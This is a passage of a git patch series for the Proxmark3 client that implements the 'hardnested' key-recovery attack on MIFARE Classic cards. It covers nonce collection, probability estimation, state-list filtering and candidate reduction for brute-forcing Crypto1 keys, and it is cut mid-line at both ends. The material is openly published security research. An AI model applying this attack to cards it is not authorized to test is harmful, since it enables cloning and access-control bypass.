printf("\nTests: number of states with BitFlipProperty: %d, (= %1.3f%% of total states)\n", statelist_bitflip.len[0], 100.0 * statelist_bitflip.len[0] / (1<<20)); + + printf("\nTests: Actual BitFlipProperties odd/even:\n"); for (uint16_t i = 0; i < 256; i++) { printf("[%3d]:%c%c ", i, nonces[i].BitFlip[ODD_STATE]?'o':' ', nonces[i].BitFlip[EVEN_STATE]?'e':' '); if (i % 8 == 7) { printf("\n"); } } - printf("\nTests: number of states with BitFlipProperty: %d, (= %1.3f%% of total states)\n", statelist_bitflip.len, 100.0 * statelist_bitflip.len / (1<<20)); printf("\nTests: Best %d first bytes:\n", MAX_BEST_BYTES); for (uint16_t i = 0; i < MAX_BEST_BYTES; i++) { @@ -385,10 +392,35 @@ static void Tests() static void sort_best_first_bytes(void) { + // find the best choice for the very first byte (b) + float min_p_K = 1.0; + float max_prob_min_p_K = 0.0; + uint8_t best_byte = 0; for (uint16_t i = 0; i < 256; i++ ) { - uint16_t j = 0; float prob1 = nonces[i].Sum8_prob; - float prob2 = nonces[best_first_bytes[0]].Sum8_prob; + uint16_t sum8 = nonces[i].Sum8_guess; + if (p_K[sum8] <= min_p_K && prob1 > CONFIDENCE_THRESHOLD) { + if (p_K[sum8] < min_p_K) { + min_p_K = p_K[sum8]; + best_byte = i; + max_prob_min_p_K = prob1; + } else if (prob1 > max_prob_min_p_K) { + max_prob_min_p_K = prob1; + best_byte = i; + } + } + } + best_first_bytes[0] = best_byte; + // printf("Best Byte = 0x%02x, Sum8=%d, prob=%1.3f\n", best_byte, nonces[best_byte].Sum8_guess, nonces[best_byte].Sum8_prob); + + // sort the most probable guesses as following bytes (b') + for (uint16_t i = 0; i < 256; i++ ) { + if (i == best_first_bytes[0]) { + continue; + } + uint16_t j = 1; + float prob1 = nonces[i].Sum8_prob; + float prob2 = nonces[best_first_bytes[1]].Sum8_prob; while (prob1 < prob2 && j < MAX_BEST_BYTES-1) { prob2 = nonces[best_first_bytes[++j]].Sum8_prob; } @@ -402,10 +434,8 @@ static void sort_best_first_bytes(void) } -static float estimate_second_byte_sum(uint8_t *best_first_byte, uint16_t *best_Sum8_guess) +static uint16_t estimate_second_byte_sum(void) { - float max_prob = 0.0; - for (uint16_t i = 0; i < MAX_BEST_BYTES; i++) { best_first_bytes[i] = 0; } @@ -425,21 +455,18 @@ static float estimate_second_byte_sum(uint8_t *best_first_byte, uint16_t *best_S nonces[first_byte].Sum8_prob = Sum8_prob; nonces[first_byte].updated = false; } - if (nonces[first_byte].Sum8_prob > max_prob) { - max_prob = nonces[first_byte].Sum8_prob; - *best_first_byte = first_byte; - *best_Sum8_guess = nonces[first_byte].Sum8_guess; - } } sort_best_first_bytes(); - float total_prob = 1.0; - for (uint16_t i = 0; i < 10; i++) { - total_prob *= nonces[best_first_bytes[i]].Sum8_prob; + uint16_t num_good_nonces = 0; + for (uint16_t i = 0; i < MAX_BEST_BYTES; i++) { + if (nonces[best_first_bytes[i]].Sum8_prob > CONFIDENCE_THRESHOLD) { + ++num_good_nonces; + } } - return total_prob; + return num_good_nonces; } @@ -499,8 +526,6 @@ int static acquire_nonces(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_ FILE *fnonces = NULL; UsbCommand resp; - #define CONFIDENCE_THRESHOLD 0.8 // Collect nonces until we are certain enough that the following brute force is successfull - printf("Acquiring nonces...\n"); clearCommandBuffer(); @@ -564,15 +589,16 @@ int static acquire_nonces(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_ if (first_byte_num == 256 ) { // printf("first_byte_num = %d, first_byte_Sum = %d\n", first_byte_num, first_byte_Sum); - guessed_Sum8_confidence = estimate_second_byte_sum(&best_first_byte, &guessed_Sum8); + num_good_first_bytes = estimate_second_byte_sum(); if (total_num_nonces > next_fivehundred) { next_fivehundred = (total_num_nonces/500+1) * 500; - printf("Acquired %5d nonces (%5d with distinct bytes 0 and 1). Probability that we correctly guessed Sum(a8) for ten different bytes = %1.2f%%\n", + printf("Acquired %5d nonces (%5d with distinct bytes 0 and 1). Number of bytes with probability for correctly guessed Sum(a8) > %1.1f%%: %d\n", + CONFIDENCE_THRESHOLD * 100.0, total_num_nonces, total_added_nonces, - guessed_Sum8_confidence*100); + num_good_first_bytes); } - if (guessed_Sum8_confidence >= CONFIDENCE_THRESHOLD) { + if (num_good_first_bytes >= GOOD_BYTES_REQUIRED) { field_off = true; // switch off field with next SendCommand and then finish } } @@ -603,83 +629,49 @@ int static acquire_nonces(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_ static int init_partial_statelists(void) { const uint32_t sizes_odd[17] = { 125601, 0, 17607, 0, 73421, 0, 182033, 0, 248801, 0, 181737, 0, 74241, 0, 18387, 0, 126757 }; - const uint32_t sizes_even[17] = { 62862, 0, 8934, 0, 37153, 0, 89354, 0, 124401, 0, 92532, 0, 36679, 0, 9064, 0, 63318 }; + const uint32_t sizes_even[17] = { 125723, 0, 17867, 0, 74305, 0, 178707, 0, 248801, 0, 185063, 0, 73356, 0, 18127, 0, 126634 }; printf("Allocating memory for partial statelists...\n"); - for (uint16_t i = 0; i <= 16; i++) { - partial_statelist_odd[i].len = 0; - if (i % 2) { // partial Sum Properties are even. - partial_statelist_odd[i].states = NULL; - } else { - // 20 Bits are relevant for odd states. Less than a half per Sum is expected - partial_statelist_odd[i].states = malloc(sizeof(uint32_t) * sizes_odd[i]); - if (partial_statelist_odd[i].states == NULL) { + for (odd_even_t odd_even = EVEN_STATE; odd_even <= ODD_STATE; odd_even++) { + for (uint16_t i = 0; i <= 16; i+=2) { + partial_statelist[i].len[odd_even] = 0; + uint32_t num_of_states = odd_even == ODD_STATE ? sizes_odd[i] : sizes_even[i]; + partial_statelist[i].states[odd_even] = malloc(sizeof(uint32_t) * num_of_states); + if (partial_statelist[i].states[odd_even] == NULL) { PrintAndLog("Cannot allocate enough memory. Aborting"); return 4; } - for (uint16_t j = 0; j < 256; j++) { - partial_statelist_odd[i].index[j] = NULL; - } - } - partial_statelist_even[i].len = 0; - if (i % 2) { // partial Sum Properties are even. - partial_statelist_even[i].states = NULL; - } else { - // 19 Bits are relevant for even states. Less than a half per Sum is expected - partial_statelist_even[i].states = malloc(sizeof(uint32_t) * sizes_even[i]); - if (partial_statelist_even[i].states == NULL) { - PrintAndLog("Cannot allocate enough memory. Aborting"); - return 4; - } - for (uint16_t j = 0; j < 256; j++) { - partial_statelist_even[i].index[j] = NULL; + for (uint32_t j = 0; j < STATELIST_INDEX_SIZE; j++) { + partial_statelist[i].index[odd_even][j] = NULL; } } } - printf("Generating partial statelists odd...\n"); - uint32_t index = -1; - for (uint32_t oddstate = 0; oddstate < (1 << 20); oddstate++) { - uint16_t odd_sum_property = SumPropertyOdd(oddstate); - uint32_t *p = partial_statelist_odd[odd_sum_property].states; - p += partial_statelist_odd[odd_sum_property].len; - *p = oddstate; - partial_statelist_odd[odd_sum_property].len++; - if ((oddstate & 0x000ff000) != index) { - index = oddstate & 0x000ff000; + printf("Generating partial statelists...\n"); + for (odd_even_t odd_even = EVEN_STATE; odd_even <= ODD_STATE; odd_even++) { + uint32_t index = -1; + uint32_t num_of_states = 1<<20; + for (uint32_t state = 0; state < num_of_states; state++) { + uint16_t sum_property = PartialSumProperty(state, odd_even); + uint32_t *p = partial_statelist[sum_property].states[odd_even]; + p += partial_statelist[sum_property].len[odd_even]; + *p = state; + partial_statelist[sum_property].len[odd_even]++; + uint32_t index_mask = (STATELIST_INDEX_SIZE-1) << (20-STATELIST_INDEX_WIDTH); + if ((state & index_mask) != index) { + index = state & index_mask; + } + if (partial_statelist[sum_property].index[odd_even][index >> (20-STATELIST_INDEX_WIDTH)] == NULL) { + partial_statelist[sum_property].index[odd_even][index >> (20-STATELIST_INDEX_WIDTH)] = p; + } } - if (partial_statelist_odd[odd_sum_property].index[index >> 12] == NULL) { - partial_statelist_odd[odd_sum_property].index[index >> 12] = p; + // add End Of List markers + for (uint16_t i = 0; i <= 16; i += 2) { + uint32_t *p = partial_statelist[i].states[odd_even]; + p += partial_statelist[i].len[odd_even]; + *p = 0xffffffff; } } - // add End Of List markers - for (uint16_t i = 0; i <= 16; i += 2) { - uint32_t *p = partial_statelist_odd[i].states; - p += partial_statelist_odd[i].len; - *p = 0xffffffff; - } - - printf("Generating partial statelists even...\n"); - index = -1; - for (uint32_t evenstate = 0; evenstate < (1 << 19); evenstate++) { - uint16_t even_sum_property = SumPropertyEven(evenstate); - uint32_t *p = partial_statelist_even[even_sum_property].states; - p += partial_statelist_even[even_sum_property].len; - *p = evenstate; - partial_statelist_even[even_sum_property].len++; - if ((evenstate & 0x000ff000) != index) { - index = evenstate & 0x000ff000; - } - if (partial_statelist_even[even_sum_property].index[index >> 12] == NULL) { - partial_statelist_even[even_sum_property].index[index >> 12] = p; - } - } - // add End Of List markers - for (uint16_t i = 0; i <= 16; i += 2) { - uint32_t *p = partial_statelist_even[i].states; - p += partial_statelist_even[i].len; - *p = 0xffffffff; - } return 0; } @@ -688,23 +680,24 @@ static int init_partial_statelists(void) static void init_BitFlip_statelist(void) { printf("Generating bitflip statelist...\n"); - uint32_t *p = statelist_bitflip.states = malloc(sizeof(uint32_t) << 20); + uint32_t *p = statelist_bitflip.states[0] = malloc(sizeof(uint32_t) * 1<<20); uint32_t index = -1; + uint32_t index_mask = (STATELIST_INDEX_SIZE-1) << (20-STATELIST_INDEX_WIDTH); for (uint32_t state = 0; state < (1 << 20); state++) { if (filter(state) != filter(state^1)) { - if ((state & 0x000ff000) != index) { - index = state & 0x000ff000; + if ((state & index_mask) != index) { + index = state & index_mask; } - if (statelist_bitflip.index[index >> 12] == NULL) { - statelist_bitflip.index[index >> 12] = p; + if (statelist_bitflip.index[0][index >> (20-STATELIST_INDEX_WIDTH)] == NULL) { + statelist_bitflip.index[0][index >> (20-STATELIST_INDEX_WIDTH)] = p; } *p++ = state; } } // set len and add End Of List marker - statelist_bitflip.len = p - statelist_bitflip.states; + statelist_bitflip.len[0] = p - statelist_bitflip.states[0]; *p = 0xffffffff; - statelist_bitflip.states = realloc(statelist_bitflip.states, sizeof(uint32_t) * (statelist_bitflip.len + 1)); + statelist_bitflip.states[0] = realloc(statelist_bitflip.states[0], sizeof(uint32_t) * (statelist_bitflip.len[0] + 1)); } @@ -719,57 +712,168 @@ static void add_state(statelist_t *sl, uint32_t state, odd_even_t odd_even) } -uint32_t *find_first_state(uint32_t state, partial_indexed_statelist_t *sl) +uint32_t *find_first_state(uint32_t state, uint32_t mask, partial_indexed_statelist_t *sl, odd_even_t odd_even) { - uint32_t *p = sl->index[state >> 12]; // first 8 Bits as index + uint32_t *p = sl->index[odd_even][(state & mask) >> (20-STATELIST_INDEX_WIDTH)]; // first Bits as index if (p == NULL) return NULL; - while ((*p & 0x000ffff0) < state) p++; - if (*p == 0xffffffff) return NULL; // reached end of list, no match - if ((*p & 0x000ffff0) == state) return p; // found a match. - return NULL; // no match + while ((*p & mask) < (state & mask)) p++; + if (*p == 0xffffffff) return NULL; // reached end of list, no match + if ((*p & mask) == (state & mask)) return p; // found a match. + return NULL; // no match +} + + +static bool remaining_bits_match(uint8_t num_common_bits, uint8_t byte1, uint8_t byte2, uint32_t state1, uint32_t state2, odd_even_t odd_even) +{ + uint8_t j = num_common_bits; + if (odd_even == ODD_STATE) { + j |= 0x01; // consider the next odd bit + } else { + j = (j+1) & 0xfe; // consider the next even bit + } + + while (j <= 7) { + if (j != num_common_bits) { // this is not the first differing bit, we need first to check if the invariant still holds + uint32_t bit_diff = ((byte1 ^ byte2) << (17-j)) & 0x00010000; // difference of (j-1)th bit -> bit 16 + uint32_t filter_diff = filter(state1 >> (4-j/2)) ^ filter(state2 >> (4-j/2)); // difference in filter function -> bit 0 + uint32_t mask_y12_y13 = 0x000000c0 >> (j/2); + uint32_t state_diff = (state1 ^ state2) & mask_y12_y13; // difference in state bits 12 and 13 -> bits 6/7 ... 4/5 + uint32_t all_diff = parity(bit_diff | state_diff | filter_diff); // use parity function to XOR all 4 bits + if (all_diff) { // invariant doesn't hold any more. Accept this state. + // if ((odd_even == ODD_STATE && state1 == test_state_odd) + // || (odd_even == EVEN_STATE && state1 == test_state_even)) { + // printf("remaining_bits_match(): %s test state: Invariant doesn't hold. Bytes = %02x, %02x, Common Bits=%d, Testing Bit %d, State1=0x%08x, State2=0x%08x\n", + // odd_even==ODD_STATE?"odd":"even", byte1, byte2, num_common_bits, j, state1, state2); + // } + return true; + } + } + // check for validity of state candidate + uint32_t bit_diff = ((byte1 ^ byte2) << (16-j)) & 0x00010000; // difference of jth bit -> bit 16 + uint32_t mask_y13_y16 = 0x00000048 >> (j/2); + uint32_t state_diff = (state1 ^ state2) & mask_y13_y16; // difference in state bits 13 and 16 -> bits 3/6 ... 0/3 + uint32_t all_diff = parity(bit_diff | state_diff); // use parity function to XOR all 3 bits + if (all_diff) { // not a valid state + // if ((odd_even == ODD_STATE && state1 == test_state_odd) + // || (odd_even == EVEN_STATE && state1 == test_state_even)) { + // printf("remaining_bits_match(): %s test state: Invalid state. Bytes = %02x, %02x, Common Bits=%d, Testing Bit %d, State1=0x%08x, State2=0x%08x\n", + // odd_even==ODD_STATE?"odd":"even", byte1, byte2, num_common_bits, j, state1, state2); + // printf(" byte1^byte2: 0x%02x, bit_diff: 0x%08x, state_diff: 0x%08x, all_diff: 0x%08x\n", + // byte1^byte2, bit_diff, state_diff, all_diff); + // } + return false; + } + // continue checking for the next bit + j += 2; + } + + return true; // valid state +} + + +static bool all_other_first_bytes_match(uint32_t state, odd_even_t odd_even) +{ + for (uint16_t i = 1; i < num_good_first_bytes; i++) { + uint16_t sum_a8 = nonces[best_first_bytes[i]].Sum8_guess; + uint8_t j = 0; // number of common bits + uint8_t common_bits = best_first_bytes[0] ^ best_first_bytes[i]; + uint32_t mask = 0xfffffff0; + if (odd_even == ODD_STATE) { + while ((common_bits & 0x01) == 0 && j < 8) { + j++; + common_bits >>= 1; + if (j % 2 == 0) { // the odd bits + mask >>= 1; + } + } + } else { + while ((common_bits & 0x01) == 0 && j < 8) { + j++; + common_bits >>= 1; + if (j % 2 == 1) { // the even bits + mask >>= 1; + } + } + } + mask &= 0x000fffff; + //printf("bytes 0x%02x and 0x%02x: %d common bits, mask = 0x%08x, state = 0x%08x, sum_a8 = %d", best_first_bytes[0], best_first_bytes[i], j, mask, state, sum_a8); + bool found_match = false; + for (uint16_t r = 0; r <= 16 && !found_match; r += 2) { + for (uint16_t s = 0; s <= 16 && !found_match; s += 2) { + if (r*(16-s) + (16-r)*s == sum_a8) { + //printf("Checking byte 0x%02x for partial sum (%s) %d\n", best_first_bytes[i], odd_even==ODD_STATE?"odd":"even", odd_even==ODD_STATE?r:s); + uint16_t part_sum_a8 = (odd_even == ODD_STATE) ? r : s; + uint32_t *p = find_first_state(state, mask, &partial_statelist[part_sum_a8], odd_even); + if (p != NULL) { + while ((state & mask) == (*p & mask) && (*p != 0xffffffff)) { + if (remaining_bits_match(j, best_first_bytes[0], best_first_bytes[i], state, (state&0x00fffff0) | *p, odd_even)) { + found_match = true; + // if ((odd_even == ODD_STATE && state == test_state_odd) + // || (odd_even == EVEN_STATE && state == test_state_even)) { + // printf("all_other_first_bytes_match(): %s test state: remaining bits matched. Bytes = %02x, %02x, Common Bits=%d, mask=0x%08x, PartSum(a8)=%d\n", + // odd_even==ODD_STATE?"odd":"even", best_first_bytes[0], best_first_bytes[i], j, mask, part_sum_a8); + // } + break; + } else { + // if ((odd_even == ODD_STATE && state == test_state_odd) + // || (odd_even == EVEN_STATE && state == test_state_even)) { + // printf("all_other_first_bytes_match(): %s test state: remaining bits didn't match. Bytes = %02x, %02x, Common Bits=%d, mask=0x%08x, PartSum(a8)=%d\n", + // odd_even==ODD_STATE?"odd":"even", best_first_bytes[0], best_first_bytes[i], j, mask, part_sum_a8); + // } + } + p++; + } + } else { + // if ((odd_even == ODD_STATE && state == test_state_odd) + // || (odd_even == EVEN_STATE && state == test_state_even)) { + // printf("all_other_first_bytes_match(): %s test state: couldn't find a matching state. Bytes = %02x, %02x, Common Bits=%d, mask=0x%08x, PartSum(a8)=%d\n", + // odd_even==ODD_STATE?"odd":"even", best_first_bytes[0], best_first_bytes[i], j, mask, part_sum_a8); + // } + } + } + } + } + + if (!found_match) { + // if ((odd_even == ODD_STATE && state == test_state_odd) + // || (odd_even == EVEN_STATE && state == test_state_even)) { + // printf("all_other_first_bytes_match(): %s test state: Eliminated. Bytes = %02x, %02x, Common Bits = %d\n", odd_even==ODD_STATE?"odd":"even", best_first_bytes[0], best_first_bytes[i], j); + // } + return false; + } + } + + return true; } static int add_matching_states(statelist_t *candidates, uint16_t part_sum_a0, uint16_t part_sum_a8, odd_even_t odd_even) { - uint32_t worstcase_size = (odd_even==ODD_STATE) ? 1<<24 : 1<<23; + uint32_t worstcase_size = 1<<20; - if (odd_even == ODD_STATE) { - candidates->states[odd_even] = (uint32_t *)malloc(sizeof(uint32_t) * worstcase_size); - if (candidates->states[odd_even] == NULL) { - PrintAndLog("Out of memory error.\n"); - return 4; - } - for (uint32_t *p1 = partial_statelist_odd[part_sum_a0].states; *p1 != 0xffffffff; p1++) { - uint32_t *p2 = find_first_state((*p1 << 4) & 0x000ffff0, &partial_statelist_odd[part_sum_a8]); - while (p2 != NULL && ((*p1 << 4) & 0x000ffff0) == (*p2 & 0x000ffff0) && *p2 != 0xffffffff) { - add_state(candidates, (*p1 << 4) | *p2, odd_even); - p2++; - } - p2 = candidates->states[odd_even]; - p2 += candidates->len[odd_even]; - *p2 = 0xffffffff; - } - candidates->states[odd_even] = realloc(candidates->states[odd_even], sizeof(uint32_t) * (candidates->len[odd_even] + 1)); - } else { - candidates->states[odd_even] = (uint32_t *)malloc(sizeof(uint32_t) * worstcase_size); - if (candidates->states[odd_even] == NULL) { - PrintAndLog("Out of memory error.\n"); - return 4; - } - for (uint32_t *p1 = partial_statelist_even[part_sum_a0].states; *p1 != 0xffffffff; p1++) { - uint32_t *p2 = find_first_state((*p1 << 4) & 0x0007fff0, &partial_statelist_even[part_sum_a8]); - while (p2 != NULL && ((*p1 << 4) & 0x0007fff0) == (*p2 & 0x0007fff0) && *p2 != 0xffffffff) { - add_state(candidates, (*p1 << 4) | *p2, odd_even); - p2++; - } - p2 = candidates->states[odd_even]; - p2 += candidates->len[odd_even]; - *p2 = 0xffffffff; - } - candidates->states[odd_even] = realloc(candidates->states[odd_even], sizeof(uint32_t) * (candidates->len[odd_even] + 1)); + candidates->states[odd_even] = (uint32_t *)malloc(sizeof(uint32_t) * worstcase_size); + if (candidates->states[odd_even] == NULL) { + PrintAndLog("Out of memory error.\n"); + return 4; } + for (uint32_t *p1 = partial_statelist[part_sum_a0].states[odd_even]; *p1 != 0xffffffff; p1++) { + uint32_t search_mask = 0x000ffff0; + uint32_t *p2 = find_first_state((*p1 << 4), search_mask, &partial_statelist[part_sum_a8], odd_even); + if (p2 != NULL) { + while (((*p1 << 4) & search_mask) == (*p2 & search_mask) && *p2 != 0xffffffff) { + if (all_other_first_bytes_match((*p1 << 4) | *p2, odd_even)) { + add_state(candidates, (*p1 << 4) | *p2, odd_even); + } + p2++; + } + } + p2 = candidates->states[odd_even]; + p2 += candidates->len[odd_even]; + *p2 = 0xffffffff; + } + candidates->states[odd_even] = realloc(candidates->states[odd_even], sizeof(uint32_t) * (candidates->len[odd_even] + 1)); + return 0; } @@ -798,11 +902,11 @@ static void TestIfKeyExists(uint64_t key) { struct Crypto1State *pcs; pcs = crypto1_create(key); - crypto1_byte(pcs, (cuid >> 24) ^ best_first_byte, true); + crypto1_byte(pcs, (cuid >> 24) ^ best_first_bytes[0], true); uint32_t state_odd = pcs->odd & 0x00ffffff; uint32_t state_even = pcs->even & 0x00ffffff; - printf("searching for key %llx after first byte 0x%02x (state_odd = 0x%06x, state_even = 0x%06x) ...\n", key, best_first_byte, state_odd, state_even); + printf("Tests: searching for key %llx after first byte 0x%02x (state_odd = 0x%06x, state_even = 0x%06x) ...\n", key, best_first_bytes[0], state_odd, state_even); for (statelist_t *p = candidates; p != NULL; p = p->next) { uint32_t *p_odd = p->states[ODD_STATE]; @@ -812,7 +916,7 @@ static void TestIfKeyExists(uint64_t key) p_odd++; } while (*p_even != 0xffffffff) { - if (*p_even == (state_even & 0x007fffff)) printf("e"); + if (*p_even == state_even) printf("e"); p_even++; } printf("|"); @@ -832,17 +936,17 @@ static void generate_candidates(uint16_t sum_a0, uint16_t sum_a8) for (uint16_t sum_odd = 0; sum_odd <= 16; sum_odd += 2) { for (uint16_t sum_even = 0; sum_even <= 16; sum_even += 2) { if (sum_odd*(16-sum_even) + (16-sum_odd)*sum_even == sum_a0) { - maximum_states += (uint64_t)partial_statelist_odd[sum_odd].len * (1<<4) * partial_statelist_even[sum_even].len * (1<<5); + maximum_states += (uint64_t)partial_statelist[sum_odd].len[ODD_STATE] * partial_statelist[sum_even].len[EVEN_STATE] * (1<<8); } } } - printf("Estimated number of possible keys with S(a0) = %d: %lld (2^%1.1f)\n", sum_a0, maximum_states, log(maximum_states)/log(2.0)); + printf("Number of possible keys with Sum(a0) = %d: %lld (2^%1.1f)\n", sum_a0, maximum_states, log(maximum_states)/log(2.0)); for (uint16_t p = 0; p <= 16; p += 2) { for (uint16_t q = 0; q <= 16; q += 2) { if (p*(16-q) + (16-p)*q == sum_a0) { printf("Reducing Partial Statelists (p,q) = (%d,%d) with lengths %d, %d\n", - p, q, partial_statelist_odd[p].len, partial_statelist_even[q].len); + p, q, partial_statelist[p].len[ODD_STATE], partial_statelist[q].len[EVEN_STATE]); for (uint16_t r = 0; r <= 16; r += 2) { for (uint16_t s = 0; s <= 16; s += 2) { if (r*(16-s) + (16-r)*s == sum_a8) { @@ -850,7 +954,7 @@ static void generate_candidates(uint16_t sum_a0, uint16_t sum_a8) add_matching_states(current_candidates, p, r, ODD_STATE); printf("Odd state candidates: %d (2^%0.1f)\n", current_candidates->len[ODD_STATE], log(current_candidates->len[ODD_STATE])/log(2)); add_matching_states(current_candidates, q, s, EVEN_STATE); - printf("Even state candidates: %d (2^%0.1f)\n", current_candidates->len[EVEN_STATE]*2, log(current_candidates->len[EVEN_STATE]*2)/log(2)); + printf("Even state candidates: %d (2^%0.1f)\n", current_candidates->len[EVEN_STATE], log(current_candidates->len[EVEN_STATE])/log(2)); } } } @@ -861,9 +965,9 @@ static void generate_candidates(uint16_t sum_a0, uint16_t sum_a8) maximum_states = 0; for (statelist_t *sl = candidates; sl != NULL; sl = sl->next) { - maximum_states += (uint64_t)sl->len[ODD_STATE] * sl->len[EVEN_STATE] * 2; + maximum_states += (uint64_t)sl->len[ODD_STATE] * sl->len[EVEN_STATE]; } - printf("Estimated number of remaining possible keys: %lld (2^%1.1f)\n", maximum_states, log(maximum_states)/log(2.0)); + printf("Number of remaining possible keys: %lld (2^%1.1f)\n", maximum_states, log(maximum_states)/log(2.0)); TestIfKeyExists(0xffffffffffff); TestIfKeyExists(0xa0a1a2a3a4a5); @@ -908,10 +1012,8 @@ int mfnestedhard(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBloc } first_byte_num = 0; first_byte_Sum = 0; - guessed_Sum8 = 0; - best_first_byte = 0; - guessed_Sum8_confidence = 0.0; - + num_good_first_bytes = 0; + init_partial_statelists(); init_BitFlip_statelist(); @@ -919,7 +1021,7 @@ int mfnestedhard(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBloc if (read_nonce_file() != 0) { return 3; } - guessed_Sum8_confidence = estimate_second_byte_sum(&best_first_byte, &guessed_Sum8); + num_good_first_bytes = estimate_second_byte_sum(); } else { // acquire nonces. uint16_t is_OK = acquire_nonces(blockNo, keyType, key, trgBlockNo, trgKeyType, nonce_file_write, slow); if (is_OK != 0) { @@ -933,18 +1035,18 @@ int mfnestedhard(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBloc PrintAndLog(""); PrintAndLog("Sum(a0) = %d", first_byte_Sum); - PrintAndLog("Best 10 first bytes: %02x, %02x, %02x, %02x, %02x, %02x, %02x, %02x, %02x, %02x", - best_first_bytes[0], - best_first_bytes[1], - best_first_bytes[2], - best_first_bytes[3], - best_first_bytes[4], - best_first_bytes[5], - best_first_bytes[6], - best_first_bytes[7], - best_first_bytes[8], - best_first_bytes[9] ); - PrintAndLog("Confidence that all respective Sum(a8) properties are guessed correctly: %2.1f%%", guessed_Sum8_confidence * 100); + // PrintAndLog("Best 10 first bytes: %02x, %02x, %02x, %02x, %02x, %02x, %02x, %02x, %02x, %02x", + // best_first_bytes[0], + // best_first_bytes[1], + // best_first_bytes[2], + // best_first_bytes[3], + // best_first_bytes[4], + // best_first_bytes[5], + // best_first_bytes[6], + // best_first_bytes[7], + // best_first_bytes[8], + // best_first_bytes[9] ); + PrintAndLog("Number of first bytes with confidence > %2.1f%%: %d", CONFIDENCE_THRESHOLD*100.0, num_good_first_bytes); generate_candidates(first_byte_Sum, nonces[best_first_bytes[0]].Sum8_guess); From bc3f520b73456beaab080251629e9bbc9a8a53b3 Mon Sep 17 00:00:00 2001 From: pwpiwi Date: Thu, 26 Nov 2015 21:36:56 +0100 Subject: [PATCH 08/12] Implementing hf mf hardnested - fixed a bug in nonce acquisition status messages --- client/cmdhfmfhard.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/client/cmdhfmfhard.c b/client/cmdhfmfhard.c index 914fec61..6cd5a5b9 100644 --- a/client/cmdhfmfhard.c +++ b/client/cmdhfmfhard.c @@ -593,9 +593,9 @@ int static acquire_nonces(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_ if (total_num_nonces > next_fivehundred) { next_fivehundred = (total_num_nonces/500+1) * 500; printf("Acquired %5d nonces (%5d with distinct bytes 0 and 1). Number of bytes with probability for correctly guessed Sum(a8) > %1.1f%%: %d\n", - CONFIDENCE_THRESHOLD * 100.0, total_num_nonces, total_added_nonces, + CONFIDENCE_THRESHOLD * 100.0, num_good_first_bytes); } if (num_good_first_bytes >= GOOD_BYTES_REQUIRED) { From 118a7605f92cb72275e0b0ae175741ec8656f459 Mon Sep 17 00:00:00 2001 From: pwpiwi Date: Tue, 8 Dec 2015 08:38:33 +0100 Subject: [PATCH 09/12] implementing hf mf hardnested - provide fast parity functions - moved XOR 1 from byte sum property to state sum property calculation - added evaluation of bit flip property - select 1st byte {b} based on numer of common bits with all other bytes {b'} --- armsrc/Makefile | 3 +- armsrc/iso14443a.c | 30 +--- armsrc/iso14443a.h | 2 - armsrc/mifarecmd.c | 9 +- armsrc/mifareutil.c | 11 +- client/Makefile | 1 + client/cmdhfmf.c | 31 +++- client/cmdhfmfhard.c | 330 ++++++++++++++++++++++++++++++++++--------- client/cmdhfmfhard.h | 2 +- common/parity.c | 49 +++++++ common/parity.h | 38 +++++ 11 files changed, 392 insertions(+), 114 deletions(-) create mode 100644 common/parity.c create mode 100644 common/parity.h diff --git a/armsrc/Makefile b/armsrc/Makefile index 69ea2300..25395471 100644 --- a/armsrc/Makefile +++ b/armsrc/Makefile @@ -60,7 +60,8 @@ ARMSRC = fpgaloader.c \ iclass.c \ BigBuf.c \ optimized_cipher.c \ - hfsnoop.c + hfsnoop.c \ + parity.c # Do not move this inclusion before the definition of {THUMB,ASM,ARM}SRC include ../common/Makefile.common diff --git a/armsrc/iso14443a.c b/armsrc/iso14443a.c index 1aab3d78..44569580 100644 --- a/armsrc/iso14443a.c +++ b/armsrc/iso14443a.c @@ -15,12 +15,13 @@ #include "util.h" #include "string.h" #include "cmd.h" - #include "iso14443crc.h" #include "iso14443a.h" #include "crapto1.h" #include "mifareutil.h" #include "BigBuf.h" +#include "parity.h" + static uint32_t iso14a_timeout; int rsamples = 0; uint8_t trigger = 0; @@ -122,26 +123,6 @@ static uint32_t LastProxToAirDuration; #define SEC_Y 0x00 #define SEC_Z 0xc0 -const uint8_t OddByteParity[256] = { - 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, - 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, - 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, - 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, - 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, - 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, - 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, - 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, - 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, - 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, - 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, - 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, - 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, - 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, - 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, - 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1 -}; - - void iso14a_set_trigger(bool enable) { trigger = enable; } @@ -179,11 +160,6 @@ void iso14a_set_ATS_timeout(uint8_t *ats) { // Generate the parity value for a byte sequence // //----------------------------------------------------------------------------- -byte_t oddparity (const byte_t bt) -{ - return OddByteParity[bt]; -} - void GetParity(const uint8_t *pbtCmd, uint16_t 